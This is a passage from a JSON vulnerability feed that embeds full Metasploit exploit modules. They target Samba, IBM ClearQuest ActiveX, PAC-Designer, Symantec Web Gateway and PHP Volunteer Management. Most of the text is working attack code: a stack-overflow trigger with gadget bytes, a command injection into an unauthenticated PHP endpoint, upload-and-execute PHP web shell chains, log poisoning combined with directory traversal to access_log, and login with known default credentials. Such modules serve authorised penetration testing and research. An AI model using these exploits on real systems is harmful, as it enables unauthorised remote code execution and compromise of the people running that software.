ctx.to_i\n\n chunks, frags = [], []\n ptr = 0\n\n # Break the request into fragments of 'size' bytes\n while ptr < data.length\n chunks.push( data[ ptr, size ] )\n ptr += size\n end\n\n # Process requests with no stub data\n if chunks.length == 0\n frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )\n return frags\n end\n\n # Process requests with only one fragment\n if chunks.length == 1\n frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )\n return frags\n end\n\n # Create the first fragment of the request\n frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )\n\n # Create all of the middle fragments\n while chunks.length != 1\n frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )\n end\n\n # Create the last fragment of the request\n frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )\n\n return frags\n end\n\n # Write data to the underlying socket\n def write(dcerpc, data)\n dcerpc.socket.write(data)\n data.length\n end\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/samba/setinfopolicy_heap.rb"}, {"lastseen": "2020-01-09T16:40:06", "bulletinFamily": "exploit", "description": "This module exploits a function prototype mismatch on the CQOle ActiveX control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which allows reliable remote code execution when DEP isn't enabled.\n", "modified": "2017-07-24T13:26:21", "published": "2012-07-03T17:03:58", "id": "MSF:EXPLOIT/WINDOWS/BROWSER/CLEAR_QUEST_CQOLE", "href": "", "type": "metasploit", "title": "IBM Rational ClearQuest CQOle Remote Code Execution", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::Remote::HttpServer::HTML\n #include Msf::Exploit::Remote::BrowserAutopwn\n #autopwn_info({\n # :ua_name => HttpClients::IE,\n # :ua_minver => \"6.0\",\n # :ua_maxver => \"7.0\",\n # :javascript => true,\n # :os_name => OperatingSystems::Match::WINDOWS,\n # :classid => \"{94773112-72E8-11D0-A42E-00A024DED613}\",\n # :method => \"RegisterSchemaRepoFromFileByDbSet\",\n # :rank => NormalRanking\n #})\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"IBM Rational ClearQuest CQOle Remote Code Execution\",\n 'Description' => %q{\n This module exploits a function prototype mismatch on the CQOle ActiveX\n control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which\n allows reliable remote code execution when DEP isn't enabled.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Andrea Micalizzi aka rgod', # Vulnerability discovery\n 'juan vazquez' # Metasploit module\n ],\n 'References' =>\n [\n [ 'CVE', '2012-0708' ],\n [ 'BID', '53170' ],\n [ 'OSVDB', '81443'],\n [ 'ZDI', '12-113' ],\n [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],\n [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/07/11/it-isnt-always-about-buffer-overflow' ]\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\"\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread',\n 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n # cqole.dll 7.1100.0.150\n [ 'Automatic', {} ],\n [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"May 19 2012\",\n 'DefaultTarget' => 0))\n end\n\n def get_target(agent)\n #If the user is already specified by the user, we'll just use that\n return target if target.name != 'Automatic'\n\n if agent =~ /NT 5\\.1/ and agent =~ /MSIE 6/\n return targets[1] #IE 6 on Windows XP\n elsif agent =~ /NT 5\\.1/ and agent =~ /MSIE 7/\n return targets[1] #IE 7 on Windows XP\n elsif agent =~ /NT 6\\.0/ and agent =~ /MSIE 7/\n return targets[1] #IE 7 on Windows Vista\n else\n return nil\n end\n end\n\n def on_request_uri(cli, request)\n agent = request.headers['User-Agent']\n my_target = get_target(agent)\n\n # Avoid the attack if the victim doesn't have the same setup we're targeting\n if my_target.nil?\n print_error(\"#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}\")\n send_not_found(cli)\n return\n end\n\n js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))\n object_id = rand_text_alpha(rand(8) + 4)\n dbset_value = rand_text_alpha(rand(8) + 4)\n var_payload = rand_text_alpha(rand(8) + 4)\n\n html = <<-EOS\n <html>\n <body>\n <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>\n <script language=\"JavaScript\">\n var #{var_payload} = unescape(\"#{js_code}\")\n #{object_id}.RegisterSchemaRepoFromFileByDbSet(\"#{dbset_value}\", #{var_payload});\n </script>\n </body>\n </html>\n EOS\n\n html = html.gsub(/^ {4}/, '')\n\n print_status(\"#{cli.peerhost}:#{cli.peerport} - Sending html\")\n send_response(cli, html, {'Content-Type'=>'text/html'})\n\n end\nend\n\n=begin\n\n* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:\n\nBreakpoint 0 hit\neax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c\neip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206\nMFC80U!_AfxDispatchCall+0xe:\n78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}\n\n* RegisterSchemaRepoFromFile prototype (it is going to be executed):\n\n.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)\n\nhis ret is: retn 4\n\n* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):\n\n.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)\n\nhis ret is: retn 8\n\n* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:\n\n0:000> p\neax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c\neip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202\nMFC80U!_AfxDispatchCall+0x10:\n78371064 c3 ret\n0:000> dd esp\n0013e208 001dcff4 7835f5d2 fffffffe 78336a3a\n\nESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on\nthe stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is\ndisabled\n\n=end\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/browser/clear_quest_cqole.rb"}, {"lastseen": "2019-12-19T22:08:45", "bulletinFamily": "exploit", "description": "This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer 6.21. As a .pac file, when supplying a long string of data to the 'value' field under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption on the stack, which results in arbitrary code execution under the context of the user.\n", "modified": "2017-07-24T13:26:21", "published": "2012-06-14T14:56:01", "id": "MSF:EXPLOIT/WINDOWS/FILEFORMAT/LATTICE_PAC_BOF", "href": "", "type": "metasploit", "title": "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::FILEFORMAT\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow\",\n 'Description' => %q{\n This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer\n 6.21. As a .pac file, when supplying a long string of data to the 'value' field\n under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption\n on the stack, which results in arbitrary code execution under the context of the\n user.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Unknown', #Discovery\n 'juan vazquez', #Metasploit\n 'sinn3r' #Metasploit\n ],\n 'References' =>\n [\n ['CVE', '2012-2915'],\n ['OSVDB', '82001'],\n ['EDB', '19006'],\n ['BID', '53566'],\n ['URL', 'http://secunia.com/advisories/48741']\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\\x3c\\x3e\",\n 'StackAdjustment' => -3500,\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread'\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n [\n 'PAC-Designer 6.21 on Windows XP SP3',\n {\n # P/P/R in PACD621.exe\n # ASLR: False, Rebase: False, SafeSEH: False, OS: False\n 'Ret' => 0x00805020\n }\n ],\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"May 16 2012\",\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])\n ])\n end\n\n def exploit\n # The payload is placed in the <title> field\n p = payload.encoded\n\n # The trigger is placed in the <value> field, which will jmp to our\n # payload in the <title> field.\n buf = \"\\x5f\" #POP EDI\n buf << \"\\x5f\" #POP EDI\n buf << \"\\x5c\" #POP ESP\n buf << \"\\x61\"*6 #POPAD x 6\n buf << \"\\x51\" #PUSH ECX\n buf << \"\\xc3\" #RET\n buf << rand_text_alpha(96-buf.length, payload_badchars)\n buf << \"\\xeb\\x9e#{rand_text_alpha(2, payload_badchars)}\" #Jmp back to the beginning of the buffer\n buf << [target.ret].pack('V')[0,3] # Partial overwrite\n\n xml = %Q|<?xml version=\"1.0\"?>\n<PacDesignData>\n <DocFmtVersion>1</DocFmtVersion>\n <DeviceType>ispPAC-CLK5410D</DeviceType>\n <CreatedBy>PAC-Designer 6.21.1336</CreatedBy>\n <SummaryInformation>\n <Title>#{p}</Title>\n <Author>#{Rex::Text.rand_text_alpha(6)}</Author>\n </SummaryInformation>\n\n <SymbolicSchematicData>\n <Symbol>\n <SymKey>153</SymKey>\n <NameText>Profile 0 Ref Frequency</NameText>\n <Value>#{buf}</Value>\n </Symbol>\n </SymbolicSchematicData>\n</PacDesignData>|\n\n file_create(xml)\n end\nend\n\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/fileformat/lattice_pac_bof.rb"}, {"lastseen": "2019-12-24T23:17:37", "bulletinFamily": "exploit", "description": "This module exploits a command injection vulnerability found in Symantec Web Gateway's HTTP service due to the insecure usage of the exec() function. This module abuses the spywall/ipchange.php file to execute arbitrary OS commands without authentication.\n", "modified": "2017-07-24T13:26:21", "published": "2012-06-10T20:38:58", "id": "MSF:EXPLOIT/LINUX/HTTP/SYMANTEC_WEB_GATEWAY_EXEC", "href": "", "type": "metasploit", "title": "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection\",\n 'Description' => %q{\n This module exploits a command injection vulnerability found in Symantec Web\n Gateway's HTTP service due to the insecure usage of the exec() function. This module\n abuses the spywall/ipchange.php file to execute arbitrary OS commands without\n authentication.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Unknown', # Tenable Network Security, Vulnerability Discovery\n 'juan vazquez' # Metasploit module\n ],\n 'References' =>\n [\n [ 'CVE', '2012-0297' ],\n [ 'OSVDB', '82925' ],\n [ 'BID', '53444' ],\n [ 'ZDI', '12-090' ],\n [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\\x0d\\x0a\\x26\",\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic perl',\n }\n },\n 'Platform' => ['unix'],\n 'Arch' => ARCH_CMD,\n 'Targets' =>\n [\n ['Symantec Web Gateway 5.0.2.8', {}],\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"May 17 2012\",\n 'DefaultTarget' => 0))\n end\n\n\n def check\n res = send_request_raw({\n 'method' => 'GET',\n 'uri' => '/spywall/login.php'\n })\n\n if res and res.body =~ /\\<title\\>Symantec Web Gateway\\<\\/title\\>/\n return Exploit::CheckCode::Detected\n else\n return Exploit::CheckCode::Safe\n end\n end\n\n def exploit\n uri = target_uri.path\n uri << '/' if uri[-1,1] != '/'\n\n peer = \"#{rhost}:#{rport}\"\n\n post_data = \"subnet=\"\n post_data << \"\\\";\" + payload.raw + \";#\"\n\n print_status(\"Sending Command injection\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(uri, 'spywall/ipchange.php'),\n 'data' => post_data\n })\n\n # If the server doesn't return the default redirection, probably\n # something is wrong\n if not res or res.code != 302 or res.headers['Location'] !~ /SW\\/admin_config.php/\n print_error(\"Probably command not executed, aborting!\")\n return\n end\n\n end\n\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/symantec_web_gateway_exec.rb"}, {"lastseen": "2020-01-04T12:54:29", "bulletinFamily": "exploit", "description": "This module exploits a file upload vulnerability found in Symantec Web Gateway's HTTP service. Due to the incorrect use of file extensions in the upload_file() function, attackers may to abuse the spywall/blocked_file.php file in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution.\n", "modified": "2019-08-02T14:48:53", "published": "2012-06-09T20:27:27", "id": "MSF:EXPLOIT/LINUX/HTTP/SYMANTEC_WEB_GATEWAY_FILE_UPLOAD", "href": "", "type": "metasploit", "title": "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability\",\n 'Description' => %q{\n This module exploits a file upload vulnerability found in Symantec Web Gateway's\n HTTP service. Due to the incorrect use of file extensions in the upload_file()\n function, attackers may to abuse the spywall/blocked_file.php file in order to\n upload a malicious PHP file without any authentication, which results in arbitrary\n code execution.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Unknown', # Tenable Network Security, Vulnerability Discovery\n 'juan vazquez' # Metasploit module\n ],\n 'References' =>\n [\n [ 'CVE', '2012-0299' ],\n [ 'OSVDB', '82025' ],\n [ 'BID', '53443' ],\n [ 'ZDI', '12-091' ],\n [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\"\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread'\n },\n 'Platform' => ['php'],\n 'Arch' => ARCH_PHP,\n 'Targets' =>\n [\n ['Symantec Web Gateway 5.0.2.8', {}],\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"May 17 2012\",\n 'DefaultTarget' => 0))\n\n self.needs_cleanup = true\n end\n\n\n def check\n res = send_request_raw({\n 'method' => 'GET',\n 'uri' => '/spywall/login.php'\n })\n\n if res and res.body =~ /\\<title\\>Symantec Web Gateway\\<\\/title\\>/\n return Exploit::CheckCode::Detected\n else\n return Exploit::CheckCode::Safe\n end\n end\n\n def on_new_session(client)\n print_warning(\"Deleting temp.php\")\n if client.type == \"meterpreter\"\n client.core.use(\"stdapi\") if not client.ext.aliases.include?(\"stdapi\")\n client.fs.file.rm(\"temp.php\")\n else\n client.shell_command_token(\"rm temp.php\")\n end\n end\n\n def exploit\n uri = target_uri.path\n uri << '/' if uri[-1,1] != '/'\n\n peer = \"#{rhost}:#{rport}\"\n payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'\n before_filename = rand_text_alpha(rand(10) + 5)\n after_filename = rand_text_alpha(rand(10) + 5)\n\n post_data = Rex::MIME::Message.new\n post_data.add_part(\"true\", nil, nil, \"form-data; name=\\\"submitted\\\"\")\n post_data.add_part(before_filename, \"application/octet-stream\", nil, \"form-data; name=\\\"before_filename\\\"\")\n post_data.add_part(after_filename, \"application/octet-stream\", nil, \"form-data; name=\\\"after_filename\\\"\")\n post_data.add_part(\"<?php #{payload.encoded} ?>\", \"image/gif\", nil, \"form-data; name=\\\"new_image\\\"; filename=\\\"#{payload_name}\\\"\")\n\n print_status(\"Sending PHP payload (#{payload_name})\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(uri, \"spywall/blocked_file.php\"),\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n 'data' => post_data.to_s\n })\n\n # If the server returns 200 and the body contains the name\n # of the default file, we assume we uploaded the malicious\n # file successfully\n if not res or res.code != 200 or res.body !~ /temp.php/\n print_error(\"File wasn't uploaded, aborting!\")\n return\n end\n\n print_status(\"Executing PHP payload (#{payload_name})\")\n # Execute our payload\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => \"#{uri}spywall/images/upload/temp/temp.php\"\n })\n\n # If we don't get a 200 when we request our malicious payload, we suspect\n # we don't have a shell, either. Print the status code for debugging purposes.\n if res and res.code != 200\n print_status(\"Server returned #{res.code.to_s}\")\n end\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/symantec_web_gateway_file_upload.rb"}, {"lastseen": "2020-01-04T02:40:49", "bulletinFamily": "exploit", "description": "This module exploits a vulnerability found in PHP Volunteer Management System, version v1.0.2 or prior. This application has an upload feature that allows an authenticated user to upload anything to the 'uploads' directory, which is actually reachable by anyone without a credential. An attacker can easily abuse this upload functionality first by logging in with the default credential (admin:volunteer), upload a malicious payload, and then execute it by sending another GET request.\n", "modified": "2017-07-24T13:26:21", "published": "2012-05-30T15:38:45", "id": "MSF:EXPLOIT/MULTI/HTTP/PHP_VOLUNTEER_UPLOAD_EXEC", "href": "", "type": "metasploit", "title": "PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability\",\n 'Description' => %q{\n This module exploits a vulnerability found in PHP Volunteer Management System,\n version v1.0.2 or prior. This application has an upload feature that allows an\n authenticated user to upload anything to the 'uploads' directory, which is actually\n reachable by anyone without a credential. An attacker can easily abuse this upload\n functionality first by logging in with the default credential (admin:volunteer),\n upload a malicious payload, and then execute it by sending another GET request.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Ashoo <ashoo.online[at]gmail.com>',\n 'sinn3r' #Metasploit\n ],\n 'References' =>\n [\n ['OSVDB', '82391'],\n ['EDB', '18941'],\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\"\n },\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'thread'\n },\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'Targets' =>\n [\n ['PHP Volunteer Management 1.0.2', {}]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"May 28 2012\",\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The base path to the web application', '/bf102/']),\n OptString.new('USERNAME', [true, 'The username to login', 'admin']),\n OptString.new('PASSWORD', [true, 'The password to login', 'volunteer'])\n ])\n end\n\n\n #\n # Login to the web application.\n # When you send the very first request to the app, you're assigned with a cookie called\n # 'PHPVolunteerManagent'. This is something you must keep, because after authentication,\n # that same cookie becomes your auth token.\n #\n def login(base, username, password)\n # Get cookie: PHPVolunteerManagent\n res = send_request_raw({\n 'method' => 'GET',\n 'uri' => \"#{base}index.php\"\n })\n\n # If we don't get a cookie, bail!\n if res and res.get_cookies =~ /(PHPVolunteerManagent=\\w+);*/\n cookie = $1\n vprint_status(\"Found cookie: #{cookie}\")\n else\n return nil\n end\n\n # Find the location for login\n login_location = res.headers['Location'] || '?p=login'\n\n # And then login!\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => \"#{base}index.php#{login_location}\",\n 'cookie' => cookie,\n 'vars_post' => {\n 'volunteer_email' => username,\n 'volunteer_password' => password,\n 'submit' => 'Login!'\n }\n })\n\n # If the app wants to redirect us to the dashboard, we\n # assume the login was successful\n if res and res.headers['Location'] =~ /\\?p\\=dashboard/\n return cookie\n else\n return nil\n end\n end\n\n\n #\n # Upload the payload as a personal document.\n # This will save the file in: mods/documents/uploads/\n # And then we return the HTTP response, which should contain some message indicating\n # whether we successfully uploaded the file, or not.\n #\n def upload(base, cookie, fname, file, description)\n boundary = \"----WebKitFormBoundary#{rand_text_alpha(10)}\"\n\n endpoint = \"#{rhost}\"\n endpoint << \":#{rport}\" if rport.to_i != 80\n\n data_post = \"--#{boundary}\\r\\n\"\n data_post << \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"#{fname}\\\"\\r\\n\"\n data_post << \"Content-Type: text/php\\r\\n\"\n data_post << \"\\r\\n\"\n data_post << file\n data_post << \"\\r\\n\"\n data_post << \"--#{boundary}\\r\\n\"\n data_post << \"Content-Disposition: form-data; name=\\\"description\\\"\\r\\n\"\n data_post << \"\\r\\n\"\n data_post << description\n data_post << \"\\r\\n\"\n data_post << \"--#{boundary}\\r\\n\"\n data_post << \"Content-Disposition: form-data; name=\\\"submit\\\"\\r\\n\"\n data_post << \"\\r\\n\"\n data_post << \"Submit\"\n data_post << \"\\r\\n\"\n data_post << \"--#{boundary}--\\r\\n\"\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => \"#{base}index.php?p=upload_personal_document\",\n 'cookie' => cookie,\n 'ctype' => \"multipart/form-data; boundary=#{boundary}\",\n 'data' => data_post,\n 'headers' => {\n 'Referer' => \"http://#{endpoint}#{base}index.php?p=upload_personal_document\"\n }\n })\n\n return res\n end\n\n\n #\n # Find all the new files from the 'uploads' directory.\n # This trick is necessary, because when we upload a file, our filename\n # is renamed to something else with a timestamp. Since we cannot reliability\n # guess what the filename is going to be, we can at least compare both before/after\n # snapshots to figure it out.\n #\n def get_my_file(before, after)\n r = /\\<td\\>\\<a href\\=\\\"(\\d{4}\\-\\d{2}\\-\\d{2}\\_\\d+\\-\\d+\\-\\d+\\_\\d+\\.\\w+)\\\"\\>\\d{4}\\-\\d{2}\\-\\d{2}\\_\\d+\\-\\d+\\-\\d+\\_\\d+\\.\\w+\\<\\/a\\>\\<\\/td\\>/\n b = (before.scan(r) || []).flatten\n a = (after.scan(r) || []).flatten\n\n # Return all the new uploads\n return a - b\n end\n\n\n #\n # This function will return the raw HTTP response like a snapshot,\n # which later can be used for comparision.\n #\n def peek_uploads(base, cookie)\n res = send_request_raw({\n 'method' => 'GET',\n 'uri' => \"#{base}mods/documents/uploads/\",\n 'cookie' => cookie\n })\n\n return res\n end\n\n\n #\n # The exploit function does exploity things\n #\n def exploit\n base = normalize_uri(target_uri.path)\n base << '/' if base[-1, 1] != '/'\n\n # Login\n username = datastore['USERNAME']\n password = datastore['PASSWORD']\n cookie = login(base, username, password)\n if cookie.nil?\n print_error(\"Login failed with \\\"#{username}:#{password}\\\"\")\n return\n end\n\n print_good(\"Login Successful (#{username}:#{password})\")\n\n # Take a snapshot of the uploads directory\n # Viewing this doesn't actually require the user to login first,\n # but we supply the cookie anyway to act more like a real user.\n print_status(\"Enumerating all the uploads...\")\n before = peek_uploads(base, cookie)\n if before.nil?\n print_error(\"Unable to enumerate original uploads\")\n return\n end\n\n # Upload our PHP shell\n print_status(\"Uploading PHP payload (#{payload.encoded.length.to_s} bytes)\")\n fname = rand_text_alpha(rand(10)+6) + '.php'\n desc = rand_text_alpha(rand(10)+5)\n php = %Q|<?php #{payload.encoded} ?>|\n res = upload(base, cookie, fname, php, desc)\n if res.nil? or res.body !~ /The file was successfuly uploaded/\n print_error(\"Failed to upload our file\")\n return\n end\n\n # Now that we've uploaded our shell, let's take another snapshot\n # of the uploads directory.\n print_status(\"Enumerating new uploads...\")\n after = peek_uploads(base, cookie)\n if after.nil?\n print_error(\"Unable to enumerate latest uploads\")\n return\n end\n\n # Find the filename of our uploaded shell\n files = get_my_file(before.body, after.body)\n if files.empty?\n print_error(\"No new file(s) found. The upload probably failed\")\n return\n else\n vprint_status(\"Found these new files: #{files.inspect}\")\n end\n\n # There might be more than 1 new file, at least execute the first 10\n # just to make sure. Don't want to try too many either.\n counter = 0\n files.each do |f|\n counter += 1\n break if counter > 10\n print_status(\"Trying file: #{f}\")\n send_request_raw({\n 'method' => 'GET',\n 'uri' => normalize_uri(base, 'mods/documents/uploads/', f),\n 'cookie' => cookie\n })\n end\n\n handler\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/php_volunteer_upload_exec.rb"}, {"lastseen": "2019-11-27T14:48:35", "bulletinFamily": "exploit", "description": "This module exploits a vulnerability found in Symantec Web Gateway's HTTP service. By injecting PHP code in the access log, it is possible to load it with a directory traversal flaw, which allows remote code execution under the context of 'apache'. Please note that it may take up to several minutes to retrieve access_log, which is about the amount of time required to see a shell back.\n", "modified": "2017-07-24T13:26:21", "published": "2012-05-28T03:47:39", "id": "MSF:EXPLOIT/LINUX/HTTP/SYMANTEC_WEB_GATEWAY_LFI", "href": "", "type": "metasploit", "title": "Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability\",\n 'Description' => %q{\n This module exploits a vulnerability found in Symantec Web Gateway's HTTP\n service. By injecting PHP code in the access log, it is possible to load it\n with a directory traversal flaw, which allows remote code execution under the\n context of 'apache'. Please note that it may take up to several minutes to\n retrieve access_log, which is about the amount of time required to see a shell\n back.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Unknown', #Discovery\n 'muts', #PoC\n 'sinn3r' #Metasploit\n ],\n 'References' =>\n [\n ['CVE', '2012-0297'],\n ['OSVDB', '82023'],\n ['EDB', '18932'],\n ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']\n ],\n 'Payload' =>\n {\n 'BadChars' => \"\\x00\"\n },\n 'DefaultOptions' =>\n {\n 'WfsDelay' => 300, #5 minutes\n 'DisablePayloadHandler' => false,\n 'EXITFUNC' => 'thread'\n },\n 'Platform' => ['php'],\n 'Arch' => ARCH_PHP,\n 'Targets' =>\n [\n ['Symantec Web Gateway 5.0.2.8', {}]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"May 17 2012\",\n 'DefaultTarget' => 0))\n end\n\n\n def check\n res = send_request_raw({\n 'method' => 'GET',\n 'uri' => '/spywall/login.php'\n })\n\n if res and res.body =~ /\\<title\\>Symantec Web Gateway\\<\\/title\\>/\n return Exploit::CheckCode::Detected\n else\n return Exploit::CheckCode::Safe\n end\n end\n\n\n def exploit\n if check == Exploit::CheckCode::Safe\n print_status(\"#{rhost}:#{rport} doesn't look like Symantec Web Gateway, will not engage.\")\n return\n end\n\n peer = \"#{rhost}:#{rport}\"\n\n php = %Q|<?php #{payload.encoded} ?>|\n\n # Inject PHP to log\n print_status(\"Injecting PHP to log...\")\n res = send_request_raw({\n 'method' => 'GET',\n 'uri' => \"/#{php}\"\n })\n\n select(nil, nil, nil, 1)\n\n # Use the directory traversal to load the PHP code\n # access_log takes a long time to retrieve\n print_status(\"Loading PHP code..\")\n send_request_raw({\n 'method' => 'GET',\n 'uri' => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'\n })\n\n print_status(\"Waiting for a session, may take some time...\")\n\n select(nil, nil, nil, 1)\n\n handler\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": 